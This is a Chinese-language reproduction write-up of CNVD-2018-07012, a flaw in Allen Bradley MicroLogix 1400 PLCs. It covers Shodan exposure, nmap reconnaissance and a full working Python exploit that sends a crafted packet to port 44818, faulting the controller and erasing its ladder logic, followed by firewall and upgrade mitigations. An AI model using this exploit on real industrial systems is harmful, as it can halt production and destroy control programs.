漏洞 CNVD-2018-07012 允许未经身份验证的攻击者发送特制数据包,从而使受影响的设备进入电源循环并进入故障状态,这种情况会导致先前存储在设备上的梯形逻辑被删除。需要注意的是,这个漏洞不是通过以太网/ IP 协议来利用的,因此使用 RSLogix 来禁用以太网/ IP 不会提供有效的缓解。

受影响的产品:

  • Allen Bradley Micrologix 1400 Series B FRN 21.2 及以下版本

至于详细的漏洞信息可参考:

通过 Shodan 对影响版本网络设备Rockwell Automation 1766进行搜索,其暴露在公网的情况如图2所示:

图2 Allen Bradley Micrologix 1400暴露在公网的情况

0x2 复现

用 nmap 对 Allen Bradley Micrologix 1400 控制器侦查一番,如图3所示:


图3 测试PLC的信息

说明图3中的 Allen Bradley Micrologix 1400 控制器正是 CNVD-2018-07012 受影响的产品,接下来就是复现了。

CNVD-2018-07012 的 exp 脚本如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket
import random

host = "192.168.0.235"
port = 44818

head = "\x00" * 24
crash_head = "\x00" * 2
crash_tail = "\x00" * 20
crash = "%s\xe8\xff%s" % (crash_head, crash_tail)
num_heads = int((random.random() * 58))
heads = head * num_heads
mesg = heads + crash

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(mesg)
sock.shutdown(socket.SHUT_RDWR)
sock.close()

在运行 exp 脚本之前,通过 RSLogix 观察一下 Allen Bradley Micrologix 1400 控制器的运行状态,如图4所示: 


图4 Allen Bradley Micrologix 1400控制器处于运行状态

运行 exp 脚本python exp.py,通过 WireShark 捕获到复现过程中的数据包如图5所示:


图5 复现过程

此时,Allen Bradley Micrologix 1400 控制器的运行状态如图6所示:


图6 Allen Bradley Micrologix 1400控制器处于故障状态

在图5中的第4个数据包正是起关键作用的数据包,如图7所示:

图7 payload

0x3 解决方案

目前,对类似曝出有高危漏洞的工控设备,一般采取以下方案:

  • 将受影响设备升级到最新版本的固件,以便不再受到这些漏洞的影响;
  • 在工控设备前部署安全防护设施,以防止工控设备被攻击。

由于工业现场的特殊性,一般工控设备部署完成后,基本是处于长期稳定运行状态,一年仅会有半个月到一个月左右的检修停机时间,即使利用检修时间去对工控设备进行固件升级,也可能存在内部程序被刷新或者被清空的风险,一旦生产控制程序被清空,那么其造成的损失和恢复成本都是极大的,所以在现场进行固件升级的可行性比较小。

所以,在工控设备前部署安全防护设施是目前比较可行的防护方案。通过在Allen Bradley Micrologix 1400前部署工业防火墙,来对Allen Bradley Micrologix 1400设备进行安全防护的功能。

而该方案也满足《工业控制系统信息安全防护指南》和《GB/T 22239-2008 信息系统安全等级保护基本要求》。

0x4 参考

...

Tags Read More..